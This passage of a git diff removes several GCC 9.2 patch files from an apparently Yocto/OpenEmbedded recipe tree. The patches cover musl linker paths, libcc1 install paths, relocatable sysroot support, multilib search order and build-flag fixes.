- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/gcc/config/aarch64/aarch64-linux.h b/gcc/config/aarch64/aarch64-linux.h
-index 5e8b34ded03..7e628bf661e 100644
---- a/gcc/config/aarch64/aarch64-linux.h
-+++ b/gcc/config/aarch64/aarch64-linux.h
-@@ -21,7 +21,7 @@
- #ifndef GCC_AARCH64_LINUX_H
- #define GCC_AARCH64_LINUX_H
-
--#define GLIBC_DYNAMIC_LINKER "/lib/ld-linux-aarch64%{mbig-endian:_be}%{mabi=ilp32:_ilp32}.so.1"
-+#define GLIBC_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-linux-aarch64%{mbig-endian:_be}%{mabi=ilp32:_ilp32}.so.1"
-
- #undef MUSL_DYNAMIC_LINKER
- #define MUSL_DYNAMIC_LINKER "/lib/ld-musl-aarch64%{mbig-endian:_be}%{mabi=ilp32:_ilp32}.so.1"
---
-2.22.1
-
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0023-aarch64-Add-support-for-musl-ldso.patch b/meta/recipes-devtools/gcc/gcc-9.2/0023-aarch64-Add-support-for-musl-ldso.patch
deleted file mode 100644
index f811306c31..0000000000
--- a/meta/recipes-devtools/gcc/gcc-9.2/0023-aarch64-Add-support-for-musl-ldso.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From 1277d12058334087443828dfd57d44e3b1dfcc9a Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 28 Apr 2015 23:18:39 -0700
-Subject: [PATCH 23/36] aarch64: Add support for musl ldso
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gcc/config/aarch64/aarch64-linux.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/gcc/config/aarch64/aarch64-linux.h b/gcc/config/aarch64/aarch64-linux.h
-index 7e628bf661e..1717cbe5471 100644
---- a/gcc/config/aarch64/aarch64-linux.h
-+++ b/gcc/config/aarch64/aarch64-linux.h
-@@ -24,7 +24,7 @@
- #define GLIBC_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-linux-aarch64%{mbig-endian:_be}%{mabi=ilp32:_ilp32}.so.1"
-
- #undef MUSL_DYNAMIC_LINKER
--#define MUSL_DYNAMIC_LINKER "/lib/ld-musl-aarch64%{mbig-endian:_be}%{mabi=ilp32:_ilp32}.so.1"
-+#define MUSL_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-musl-aarch64%{mbig-endian:_be}%{mabi=ilp32:_ilp32}.so.1"
-
- #undef ASAN_CC1_SPEC
- #define ASAN_CC1_SPEC "%{%:sanitize(address):-funwind-tables}"
---
-2.22.1
-
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0024-libcc1-fix-libcc1-s-install-path-and-rpath.patch b/meta/recipes-devtools/gcc/gcc-9.2/0024-libcc1-fix-libcc1-s-install-path-and-rpath.patch
deleted file mode 100644
index 298b0962f6..0000000000
--- a/meta/recipes-devtools/gcc/gcc-9.2/0024-libcc1-fix-libcc1-s-install-path-and-rpath.patch
+++ /dev/null
@@ -1,54 +0,0 @@
-From 4a0487ad75accd780dd155aa59086cc4b11cfc47 Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Sun, 5 Jul 2015 20:25:18 -0700
-Subject: [PATCH 24/36] libcc1: fix libcc1's install path and rpath
-
-* Install libcc1.so and libcc1plugin.so into
- $(libexecdir)/gcc/$(target_noncanonical)/$(gcc_version), as what we
- had done to lto-plugin.
-* Fix bad RPATH iussue:
- gcc-5.2.0: package gcc-plugins contains bad RPATH /patht/to/tmp/sysroots/qemux86-64/usr/lib64/../lib64 in file
- /path/to/gcc/5.2.0-r0/packages-split/gcc-plugins/usr/lib64/gcc/x86_64-poky-linux/5.2.0/plugin/libcc1plugin.so.0.0.0
- [rpaths]
-
-Upstream-Status: Inappropriate [OE configuration]
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
----
- libcc1/Makefile.am | 4 ++--
- libcc1/Makefile.in | 4 ++--
- 2 files changed, 4 insertions(+), 4 deletions(-)
-
-diff --git a/libcc1/Makefile.am b/libcc1/Makefile.am
-index 72c6aead475..42a87740b31 100644
---- a/libcc1/Makefile.am
-+++ b/libcc1/Makefile.am
-@@ -37,8 +37,8 @@ libiberty = $(if $(wildcard $(libiberty_noasan)),$(Wc)$(libiberty_noasan), \
- $(Wc)$(libiberty_normal)))
- libiberty_dep = $(patsubst $(Wc)%,%,$(libiberty))
-
--plugindir = $(libdir)/gcc/$(target_noncanonical)/$(gcc_version)/plugin
--cc1libdir = $(libdir)/$(libsuffix)
-+cc1libdir = $(libexecdir)/gcc/$(target_noncanonical)/$(gcc_version)
-+plugindir = $(cc1libdir)
-
- if ENABLE_PLUGIN
- plugin_LTLIBRARIES = libcc1plugin.la libcp1plugin.la
-diff --git a/libcc1/Makefile.in b/libcc1/Makefile.in
-index 7104b649026..2103c477468 100644
---- a/libcc1/Makefile.in
-+++ b/libcc1/Makefile.in
-@@ -393,8 +393,8 @@ libiberty = $(if $(wildcard $(libiberty_noasan)),$(Wc)$(libiberty_noasan), \
- $(Wc)$(libiberty_normal)))
-
- libiberty_dep = $(patsubst $(Wc)%,%,$(libiberty))
--plugindir = $(libdir)/gcc/$(target_noncanonical)/$(gcc_version)/plugin
--cc1libdir = $(libdir)/$(libsuffix)
-+cc1libdir = $(libexecdir)/gcc/$(target_noncanonical)/$(gcc_version)
-+plugindir = $(cc1libdir)
- @ENABLE_PLUGIN_TRUE@plugin_LTLIBRARIES = libcc1plugin.la libcp1plugin.la
- @ENABLE_PLUGIN_TRUE@cc1lib_LTLIBRARIES = libcc1.la
- shared_source = callbacks.cc callbacks.hh connection.cc connection.hh \
---
-2.22.1
-
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0025-handle-sysroot-support-for-nativesdk-gcc.patch b/meta/recipes-devtools/gcc/gcc-9.2/0025-handle-sysroot-support-for-nativesdk-gcc.patch
deleted file mode 100644
index ba62bc1fd3..0000000000
--- a/meta/recipes-devtools/gcc/gcc-9.2/0025-handle-sysroot-support-for-nativesdk-gcc.patch
+++ /dev/null
@@ -1,213 +0,0 @@
-From a183c82ea2af934a8d30055a791dc1d80c9067a9 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 7 Dec 2015 23:39:54 +0000
-Subject: [PATCH 25/36] handle sysroot support for nativesdk-gcc
-
-Being able to build a nativesdk gcc is useful, particularly in cases
-where the host compiler may be of an incompatible version (or a 32
-bit compiler is needed).
-
-Sadly, building nativesdk-gcc is not straight forward. We install
-nativesdk-gcc into a relocatable location and this means that its
-library locations can change. "Normal" sysroot support doesn't help
-in this case since the values of paths like "libdir" change, not just
-base root directory of the system.
-
-In order to handle this we do two things:
-
-a) Add %r into spec file markup which can be used for injected paths
- such as SYSTEMLIBS_DIR (see gcc_multilib_setup()).
-b) Add other paths which need relocation into a .gccrelocprefix section
- which the relocation code will notice and adjust automatically.
-
-Upstream-Status: Inappropriate
-RP 2015/7/28
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gcc/cppdefault.c | 50 +++++++++++++++++++++++++++++++++++-------------
- gcc/cppdefault.h | 3 ++-
- gcc/gcc.c | 20 +++++++++++++------
- 3 files changed, 53 insertions(+), 20 deletions(-)
-
-diff --git a/gcc/cppdefault.c b/gcc/cppdefault.c
-index 980e2bd47a7..39b6059efdc 100644
---- a/gcc/cppdefault.c
-+++ b/gcc/cppdefault.c
-@@ -35,6 +35,30 @@
- # undef CROSS_INCLUDE_DIR
- #endif
-
-+static char GPLUSPLUS_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = GPLUSPLUS_INCLUDE_DIR;
-+static char GCC_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = GCC_INCLUDE_DIR;
-+static char GPLUSPLUS_TOOL_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = GPLUSPLUS_TOOL_INCLUDE_DIR;
-+static char GPLUSPLUS_BACKWARD_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = GPLUSPLUS_BACKWARD_INCLUDE_DIR;
-+static char STANDARD_STARTFILE_PREFIX_2VAR[4096] __attribute__ ((section (".gccrelocprefix"))) = STANDARD_STARTFILE_PREFIX_2 GCC_INCLUDE_SUBDIR_TARGET;
-+#ifdef LOCAL_INCLUDE_DIR
-+static char LOCAL_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = LOCAL_INCLUDE_DIR;
-+#endif
-+#ifdef PREFIX_INCLUDE_DIR
-+static char PREFIX_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = PREFIX_INCLUDE_DIR;
-+#endif
-+#ifdef FIXED_INCLUDE_DIR
-+static char FIXED_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = FIXED_INCLUDE_DIR;
-+#endif
-+#ifdef CROSS_INCLUDE_DIR
-+static char CROSS_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = CROSS_INCLUDE_DIR;
-+#endif
-+#ifdef TOOL_INCLUDE_DIR
-+static char TOOL_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = TOOL_INCLUDE_DIR;
-+#endif
-+#ifdef NATIVE_SYSTEM_HEADER_DIR
-+static char NATIVE_SYSTEM_HEADER_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = NATIVE_SYSTEM_HEADER_DIR;
-+#endif
-+
- const struct default_include cpp_include_defaults[]
- #ifdef INCLUDE_DEFAULTS
- = INCLUDE_DEFAULTS;
-@@ -42,38 +66,38 @@ const struct default_include cpp_include_defaults[]
- = {
- #ifdef GPLUSPLUS_INCLUDE_DIR
- /* Pick up GNU C++ generic include files. */
-- { GPLUSPLUS_INCLUDE_DIR, "G++", 1, 1,
-+ { GPLUSPLUS_INCLUDE_DIRVAR, "G++", 1, 1,
- GPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT, 0 },
- #endif
- #ifdef GPLUSPLUS_TOOL_INCLUDE_DIR
- /* Pick up GNU C++ target-dependent include files. */
-- { GPLUSPLUS_TOOL_INCLUDE_DIR, "G++", 1, 1,
-+ { GPLUSPLUS_TOOL_INCLUDE_DIRVAR, "G++", 1, 1,
- GPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT, 1 },
- #endif
- #ifdef GPLUSPLUS_BACKWARD_INCLUDE_DIR
- /* Pick up GNU C++ backward and deprecated include files. */
-- { GPLUSPLUS_BACKWARD_INCLUDE_DIR, "G++", 1, 1,
-+ { GPLUSPLUS_BACKWARD_INCLUDE_DIRVAR, "G++", 1, 1,
- GPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT, 0 },
- #endif
- #ifdef GCC_INCLUDE_DIR
- /* This is the dir for gcc's private headers. */
-- { GCC_INCLUDE_DIR, "GCC", 0, 0, 0, 0 },
-+ { GCC_INCLUDE_DIRVAR, "GCC", 0, 0, 0, 0 },
- #endif
- #ifdef GCC_INCLUDE_SUBDIR_TARGET
- /* This is the dir for gcc's private headers under the specified sysroot. */
-- { STANDARD_STARTFILE_PREFIX_2 GCC_INCLUDE_SUBDIR_TARGET, "GCC", 0, 0, 1, 0 },
-+ { STANDARD_STARTFILE_PREFIX_2VAR, "GCC", 0, 0, 1, 0 },
- #endif
- #ifdef LOCAL_INCLUDE_DIR
- /* /usr/local/include comes before the fixincluded header files. */
-- { LOCAL_INCLUDE_DIR, 0, 0, 1, 1, 2 },
-- { LOCAL_INCLUDE_DIR, 0, 0, 1, 1, 0 },
-+ { LOCAL_INCLUDE_DIRVAR, 0, 0, 1, 1, 2 },
-+ { LOCAL_INCLUDE_DIRVAR, 0, 0, 1, 1, 0 },
- #endif
- #ifdef PREFIX_INCLUDE_DIR
-- { PREFIX_INCLUDE_DIR, 0, 0, 1, 0, 0 },
-+ { PREFIX_INCLUDE_DIRVAR, 0, 0, 1, 0, 0 },
- #endif
- #ifdef FIXED_INCLUDE_DIR
- /* This is the dir for fixincludes. */
-- { FIXED_INCLUDE_DIR, "GCC", 0, 0, 0,
-+ { FIXED_INCLUDE_DIRVAR, "GCC", 0, 0, 0,
- /* A multilib suffix needs adding if different multilibs use
- different headers. */
- #ifdef SYSROOT_HEADERS_SUFFIX_SPEC
-@@ -85,16 +109,16 @@ const struct default_include cpp_include_defaults[]
- #endif
- #ifdef CROSS_INCLUDE_DIR
- /* One place the target system's headers might be. */
-- { CROSS_INCLUDE_DIR, "GCC", 0, 0, 0, 0 },
-+ { CROSS_INCLUDE_DIRVAR, "GCC", 0, 0, 0, 0 },
- #endif
- #ifdef TOOL_INCLUDE_DIR
- /* Another place the target system's headers might be. */
-- { TOOL_INCLUDE_DIR, "BINUTILS", 0, 1, 0, 0 },
-+ { TOOL_INCLUDE_DIRVAR, "BINUTILS", 0, 1, 0, 0 },
- #endif
- #ifdef NATIVE_SYSTEM_HEADER_DIR
- /* /usr/include comes dead last. */
-- { NATIVE_SYSTEM_HEADER_DIR, NATIVE_SYSTEM_HEADER_COMPONENT, 0, 0, 1, 2 },
-- { NATIVE_SYSTEM_HEADER_DIR, NATIVE_SYSTEM_HEADER_COMPONENT, 0, 0, 1, 0 },
-+ { NATIVE_SYSTEM_HEADER_DIRVAR, NATIVE_SYSTEM_HEADER_COMPONENT, 0, 0, 1, 2 },
-+ { NATIVE_SYSTEM_HEADER_DIRVAR, NATIVE_SYSTEM_HEADER_COMPONENT, 0, 0, 1, 0 },
- #endif
- { 0, 0, 0, 0, 0, 0 }
- };
-diff --git a/gcc/cppdefault.h b/gcc/cppdefault.h
-index e2d96f1e760..29fa5f815c8 100644
---- a/gcc/cppdefault.h
-+++ b/gcc/cppdefault.h
-@@ -33,7 +33,8 @@
-
- struct default_include
- {
-- const char *const fname; /* The name of the directory. */
-+ const char *fname; /* The name of the directory. */
-+
- const char *const component; /* The component containing the directory
- (see update_path in prefix.c) */
- const char cplusplus; /* Only look here if we're compiling C++. */
-diff --git a/gcc/gcc.c b/gcc/gcc.c
-index 1a3704b2763..db0e2934038 100644
---- a/gcc/gcc.c
-+++ b/gcc/gcc.c
-@@ -253,6 +253,8 @@ FILE *report_times_to_file = NULL;
- #endif
- static const char *target_system_root = DEFAULT_TARGET_SYSTEM_ROOT;
-
-+static char target_relocatable_prefix[4096] __attribute__ ((section (".gccrelocprefix"))) = SYSTEMLIBS_DIR;
-+
- /* Nonzero means pass the updated target_system_root to the compiler. */
-
- static int target_system_root_changed;
-@@ -527,6 +529,7 @@ or with constant text in a single argument.
- %G process LIBGCC_SPEC as a spec.
- %R Output the concatenation of target_system_root and
- target_sysroot_suffix.
-+ %r Output the base path target_relocatable_prefix
- %S process STARTFILE_SPEC as a spec. A capital S is actually used here.
- %E process ENDFILE_SPEC as a spec. A capital E is actually used here.
- %C process CPP_SPEC as a spec.
-@@ -1493,10 +1496,10 @@ static const char *gcc_libexec_prefix;
- gcc_exec_prefix is set because, in that case, we know where the
- compiler has been installed, and use paths relative to that
- location instead. */
--static const char *const standard_exec_prefix = STANDARD_EXEC_PREFIX;
--static const char *const standard_libexec_prefix = STANDARD_LIBEXEC_PREFIX;
--static const char *const standard_bindir_prefix = STANDARD_BINDIR_PREFIX;
--static const char *const standard_startfile_prefix = STANDARD_STARTFILE_PREFIX;
-+static char standard_exec_prefix[4096] __attribute__ ((section (".gccrelocprefix"))) = STANDARD_EXEC_PREFIX;
-+static char standard_libexec_prefix[4096] __attribute__ ((section (".gccrelocprefix"))) = STANDARD_LIBEXEC_PREFIX;
-+static char standard_bindir_prefix[4096] __attribute__ ((section (".gccrelocprefix"))) = STANDARD_BINDIR_PREFIX;
-+static char *const standard_startfile_prefix = STANDARD_STARTFILE_PREFIX;
-
- /* For native compilers, these are well-known paths containing
- components that may be provided by the system. For cross
-@@ -1504,9 +1507,9 @@ static const char *const standard_startfile_prefix = STANDARD_STARTFILE_PREFIX;
- static const char *md_exec_prefix = MD_EXEC_PREFIX;
- static const char *md_startfile_prefix = MD_STARTFILE_PREFIX;
- static const char *md_startfile_prefix_1 = MD_STARTFILE_PREFIX_1;
--static const char *const standard_startfile_prefix_1
-+static char standard_startfile_prefix_1[4096] __attribute__ ((section (".gccrelocprefix")))
- = STANDARD_STARTFILE_PREFIX_1;
--static const char *const standard_startfile_prefix_2
-+static char standard_startfile_prefix_2[4096] __attribute__ ((section (".gccrelocprefix")))
- = STANDARD_STARTFILE_PREFIX_2;
-
- /* A relative path to be used in finding the location of tools
-@@ -5915,6 +5918,11 @@ do_spec_1 (const char *spec, int inswitch, const char *soft_matched_part)
- }
- break;
-
-+ case 'r':
-+ obstack_grow (&obstack, target_relocatable_prefix,
-+ strlen (target_relocatable_prefix));
-+ break;
-+
- case 'S':
- value = do_spec_1 (startfile_spec, 0, NULL);
- if (value != 0)
---
-2.22.1
-
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0026-Search-target-sysroot-gcc-version-specific-dirs-with.patch b/meta/recipes-devtools/gcc/gcc-9.2/0026-Search-target-sysroot-gcc-version-specific-dirs-with.patch
deleted file mode 100644
index fde206eb71..0000000000
--- a/meta/recipes-devtools/gcc/gcc-9.2/0026-Search-target-sysroot-gcc-version-specific-dirs-with.patch
+++ /dev/null
@@ -1,102 +0,0 @@
-From dab4db14e319f3239a2b4c7d1fbf2971936e27ba Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 7 Dec 2015 23:41:45 +0000
-Subject: [PATCH 26/36] Search target sysroot gcc version specific dirs with
- multilib.
-
-We install the gcc libraries (such as crtbegin.p) into
-<sysroot><libdir>/<target-sys>/5.2.0/
-which is a default search path for GCC (aka multi_suffix in the
-code below). <target-sys> is 'machine' in gcc's terminology. We use
-these directories so that multiple gcc versions could in theory
-co-exist on target.
-
-We only want to build one gcc-cross-canadian per arch and have this work
-for all multilibs. <target-sys> can be handled by mapping the multilib
-<target-sys> to the one used by gcc-cross-canadian, e.g.
-mips64-polkmllib32-linux
-is symlinked to by mips64-poky-linux.
-
-The default gcc search path in the target sysroot for a "lib64" mutlilib
-is:
-
-<sysroot>/lib32/mips64-poky-linux/5.2.0/
-<sysroot>/lib32/../lib64/
-<sysroot>/usr/lib32/mips64-poky-linux/5.2.0/
-<sysroot>/usr/lib32/../lib64/
-<sysroot>/lib32/
-<sysroot>/usr/lib32/
-
-which means that the lib32 crtbegin.o will be found and the lib64 ones
-will not which leads to compiler failures.
-
-This patch injects a multilib version of that path first so the lib64
-binaries can be found first. With this change the search path becomes:
-
-<sysroot>/lib32/../lib64/mips64-poky-linux/5.2.0/
-<sysroot>/lib32/mips64-poky-linux/5.2.0/
-<sysroot>/lib32/../lib64/
-<sysroot>/usr/lib32/../lib64/mips64-poky-linux/5.2.0/
-<sysroot>/usr/lib32/mips64-poky-linux/5.2.0/
-<sysroot>/usr/lib32/../lib64/
-<sysroot>/lib32/
-<sysroot>/usr/lib32/
-
-Upstream-Status: Pending
-RP 2015/7/31
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gcc/gcc.c | 29 ++++++++++++++++++++++++++++-
- 1 file changed, 28 insertions(+), 1 deletion(-)
-
-diff --git a/gcc/gcc.c b/gcc/gcc.c
-index db0e2934038..1c21d1b08eb 100644
---- a/gcc/gcc.c
-+++ b/gcc/gcc.c
-@@ -2610,7 +2610,7 @@ for_each_path (const struct path_prefix *paths,
- if (path == NULL)
- {
- len = paths->max_len + extra_space + 1;
-- len += MAX (MAX (suffix_len, multi_os_dir_len), multiarch_len);
-+ len += MAX ((suffix_len + multi_os_dir_len), multiarch_len);
- path = XNEWVEC (char, len);
- }
-
-@@ -2622,6 +2622,33 @@ for_each_path (const struct path_prefix *paths,
- /* Look first in MACHINE/VERSION subdirectory. */
- if (!skip_multi_dir)
- {
-+ if (!(pl->os_multilib ? skip_multi_os_dir : skip_multi_dir))
-+ {
-+ const char *this_multi;
-+ size_t this_multi_len;
-+
-+ if (pl->os_multilib)
-+ {
-+ this_multi = multi_os_dir;
-+ this_multi_len = multi_os_dir_len;
-+ }
-+ else
-+ {
-+ this_multi = multi_dir;
-+ this_multi_len = multi_dir_len;
-+ }
-+
-+ /* Look in multilib MACHINE/VERSION subdirectory first */
-+ if (this_multi_len)
-+ {
-+ memcpy (path + len, this_multi, this_multi_len + 1);
-+ memcpy (path + len + this_multi_len, multi_suffix, suffix_len + 1);
-+ ret = callback (path, callback_info);
-+ if (ret)
-+ break;
-+ }
-+ }
-+
- memcpy (path + len, multi_suffix, suffix_len + 1);
- ret = callback (path, callback_info);
- if (ret)
---
-2.22.1
-
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0027-Fix-various-_FOR_BUILD-and-related-variables.patch b/meta/recipes-devtools/gcc/gcc-9.2/0027-Fix-various-_FOR_BUILD-and-related-variables.patch
deleted file mode 100644
index 5d89e8e7e2..0000000000
--- a/meta/recipes-devtools/gcc/gcc-9.2/0027-Fix-various-_FOR_BUILD-and-related-variables.patch
+++ /dev/null
@@ -1,137 +0,0 @@
-From 8e84bb09d2b7a60487a30e438bb109f31c2c254b Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 7 Dec 2015 23:42:45 +0000
-Subject: [PATCH 27/36] Fix various _FOR_BUILD and related variables
-
-When doing a FOR_BUILD thing, you have to override CFLAGS with
-CFLAGS_FOR_BUILD. And if you use C++, you also have to override
-CXXFLAGS with CXXFLAGS_FOR_BUILD.
-Without this, when building for mingw, you end up trying to use
-the mingw headers for a host build.
-
-The same goes for other variables as well, such as CPPFLAGS,
-CPP, and GMPINC.
-
-Upstream-Status: Pending
-
-Signed-off-by: Peter Seebach <peter.seebach@windriver.com>
-Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- Makefile.in | 6 ++++++
- Makefile.tpl | 5 +++++
- gcc/Makefile.in | 2 +-
- gcc/configure | 2 +-
- gcc/configure.ac | 2 +-
- 5 files changed, 14 insertions(+), 3 deletions(-)
-
-diff --git a/Makefile.in b/Makefile.in
-index 255822e3f27..9dc0dff0474 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -152,6 +152,7 @@ BUILD_EXPORTS = \
- CPP="$(CC_FOR_BUILD) -E"; export CPP; \
- CFLAGS="$(CFLAGS_FOR_BUILD)"; export CFLAGS; \
- CONFIG_SHELL="$(SHELL)"; export CONFIG_SHELL; \
-+ CPPFLAGS="$(CPPFLAGS_FOR_BUILD)"; export CPPFLAGS; \
- CXX="$(CXX_FOR_BUILD)"; export CXX; \
- CXXFLAGS="$(CXXFLAGS_FOR_BUILD)"; export CXXFLAGS; \
- GFORTRAN="$(GFORTRAN_FOR_BUILD)"; export GFORTRAN; \
-@@ -171,6 +172,9 @@ BUILD_EXPORTS = \
- # built for the build system to override those in BASE_FLAGS_TO_PASS.
- EXTRA_BUILD_FLAGS = \
- CFLAGS="$(CFLAGS_FOR_BUILD)" \
-+ CXXFLAGS="$(CXXFLAGS_FOR_BUILD)" \
-+ CPP="$(CC_FOR_BUILD) -E" \
-+ CPPFLAGS="$(CPPFLAGS_FOR_BUILD)" \
- LDFLAGS="$(LDFLAGS_FOR_BUILD)"
-
- # This is the list of directories to built for the host system.
-@@ -188,6 +192,7 @@ HOST_SUBDIR = @host_subdir@
- HOST_EXPORTS = \
- $(BASE_EXPORTS) \
- CC="$(CC)"; export CC; \
-+ CPP="$(CC) -E"; export CPP; \
- ADA_CFLAGS="$(ADA_CFLAGS)"; export ADA_CFLAGS; \
- CFLAGS="$(CFLAGS)"; export CFLAGS; \
- CONFIG_SHELL="$(SHELL)"; export CONFIG_SHELL; \
-@@ -775,6 +780,7 @@ BASE_FLAGS_TO_PASS = \
- "CC_FOR_BUILD=$(CC_FOR_BUILD)" \
- "CFLAGS_FOR_BUILD=$(CFLAGS_FOR_BUILD)" \
- "CXX_FOR_BUILD=$(CXX_FOR_BUILD)" \
-+ "CXXFLAGS_FOR_BUILD=$(CXXFLAGS_FOR_BUILD)" \
- "EXPECT=$(EXPECT)" \
- "FLEX=$(FLEX)" \
- "INSTALL=$(INSTALL)" \
-diff --git a/Makefile.tpl b/Makefile.tpl
-index 41cae58a267..d3f6b79acdc 100644
---- a/Makefile.tpl
-+++ b/Makefile.tpl
-@@ -154,6 +154,7 @@ BUILD_EXPORTS = \
- CC="$(CC_FOR_BUILD)"; export CC; \
- CFLAGS="$(CFLAGS_FOR_BUILD)"; export CFLAGS; \
- CONFIG_SHELL="$(SHELL)"; export CONFIG_SHELL; \
-+ CPPFLAGS="$(CPPFLAGS_FOR_BUILD)"; export CPPFLAGS; \
- CXX="$(CXX_FOR_BUILD)"; export CXX; \
- CXXFLAGS="$(CXXFLAGS_FOR_BUILD)"; export CXXFLAGS; \
- GFORTRAN="$(GFORTRAN_FOR_BUILD)"; export GFORTRAN; \
-@@ -173,6 +174,9 @@ BUILD_EXPORTS = \
- # built for the build system to override those in BASE_FLAGS_TO_PASS.
- EXTRA_BUILD_FLAGS = \
- CFLAGS="$(CFLAGS_FOR_BUILD)" \
-+ CXXFLAGS="$(CXXFLAGS_FOR_BUILD)" \
-+ CPP="$(CC_FOR_BUILD) -E" \
-+ CPPFLAGS="$(CPPFLAGS_FOR_BUILD)" \
- LDFLAGS="$(LDFLAGS_FOR_BUILD)"
-
- # This is the list of directories to built for the host system.
-@@ -190,6 +194,7 @@ HOST_SUBDIR = @host_subdir@
- HOST_EXPORTS = \
- $(BASE_EXPORTS) \
- CC="$(CC)"; export CC; \
-+ CPP="$(CC) -E"; export CPP; \
- ADA_CFLAGS="$(ADA_CFLAGS)"; export ADA_CFLAGS; \
- CFLAGS="$(CFLAGS)"; export CFLAGS; \
- CONFIG_SHELL="$(SHELL)"; export CONFIG_SHELL; \
-diff --git a/gcc/Makefile.in b/gcc/Makefile.in
-index 21472745c2c..8c93f03ffdc 100644
---- a/gcc/Makefile.in
-+++ b/gcc/Makefile.in
-@@ -805,7 +805,7 @@ BUILD_LDFLAGS=@BUILD_LDFLAGS@
- BUILD_NO_PIE_FLAG = @BUILD_NO_PIE_FLAG@
- BUILD_LDFLAGS += $(BUILD_NO_PIE_FLAG)
- BUILD_CPPFLAGS= -I. -I$(@D) -I$(srcdir) -I$(srcdir)/$(@D) \
-- -I$(srcdir)/../include @INCINTL@ $(CPPINC) $(CPPFLAGS)
-+ -I$(srcdir)/../include @INCINTL@ $(CPPINC) $(CPPFLAGS_FOR_BUILD)
-
- # Actual name to use when installing a native compiler.
- GCC_INSTALL_NAME := $(shell echo gcc|sed '$(program_transform_name)')
-diff --git a/gcc/configure b/gcc/configure
-index 911de2cf017..325ace34cdf 100755
---- a/gcc/configure
-+++ b/gcc/configure
-@@ -11965,7 +11965,7 @@ else
- CC="${CC_FOR_BUILD}" CFLAGS="${CFLAGS_FOR_BUILD}" \
- CXX="${CXX_FOR_BUILD}" CXXFLAGS="${CXXFLAGS_FOR_BUILD}" \
- LD="${LD_FOR_BUILD}" LDFLAGS="${LDFLAGS_FOR_BUILD}" \
-- GMPINC="" CPPFLAGS="${CPPFLAGS} -DGENERATOR_FILE" \
-+ GMPINC="" CPPFLAGS="${CPPFLAGS_FOR_BUILD} -DGENERATOR_FILE" \
- ${realsrcdir}/configure \
- --enable-languages=${enable_languages-all} \
- --target=$target_alias --host=$build_alias --build=$build_alias
-diff --git a/gcc/configure.ac b/gcc/configure.ac
-index b413ae9bf25..72a6c95121b 100644
---- a/gcc/configure.ac
-+++ b/gcc/configure.ac
-@@ -1743,7 +1743,7 @@ else
- CC="${CC_FOR_BUILD}" CFLAGS="${CFLAGS_FOR_BUILD}" \
- CXX="${CXX_FOR_BUILD}" CXXFLAGS="${CXXFLAGS_FOR_BUILD}" \
- LD="${LD_FOR_BUILD}" LDFLAGS="${LDFLAGS_FOR_BUILD}" \
-- GMPINC="" CPPFLAGS="${CPPFLAGS} -DGENERATOR_FILE" \
-+ GMPINC="" CPPFLAGS="${CPPFLAGS_FOR_BUILD} -DGENERATOR_FILE" \
- ${realsrcdir}/configure \
- --enable-languages=${enable_languages-all} \
- --target=$target_alias --host=$build_alias --build=$build_alias
---
-2.22.1
-
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0028-nios2-Define-MUSL_DYNAMIC_LINKER.patch b/meta/recipes-devtools/gcc/gcc-9.2/0028-nios2-Define-MUSL_DYNAMIC_LINKER.patch
deleted file mode 100644
index 84d92a337e..0000000000
--- a/meta/recipes-devtools/gcc/gcc-9.2/0028-nios2-Define-MUSL_DYNAMIC_LINKER.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From 5647f773e28b528a67800ef06ca44730f9f5dc7e Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 2 Feb 2016 10:26:10 -0800
-Subject: [PATCH 28/36] nios2: Define MUSL_DYNAMIC_LINKER
-
-Upstream-Status: Pending
-
-Signed-off-by: Marek Vasut <marex@denx.de>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gcc/config/nios2/linux.h | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/gcc/config/nios2/linux.h b/gcc/config/nios2/linux.h
-index 698734add35..eeee60ecfea 100644
---- a/gcc/config/nios2/linux.h
-+++ b/gcc/config/nios2/linux.h
-@@ -30,6 +30,7 @@
- #define CPP_SPEC "%{posix:-D_POSIX_SOURCE} %{pthread:-D_REENTRANT}"
-
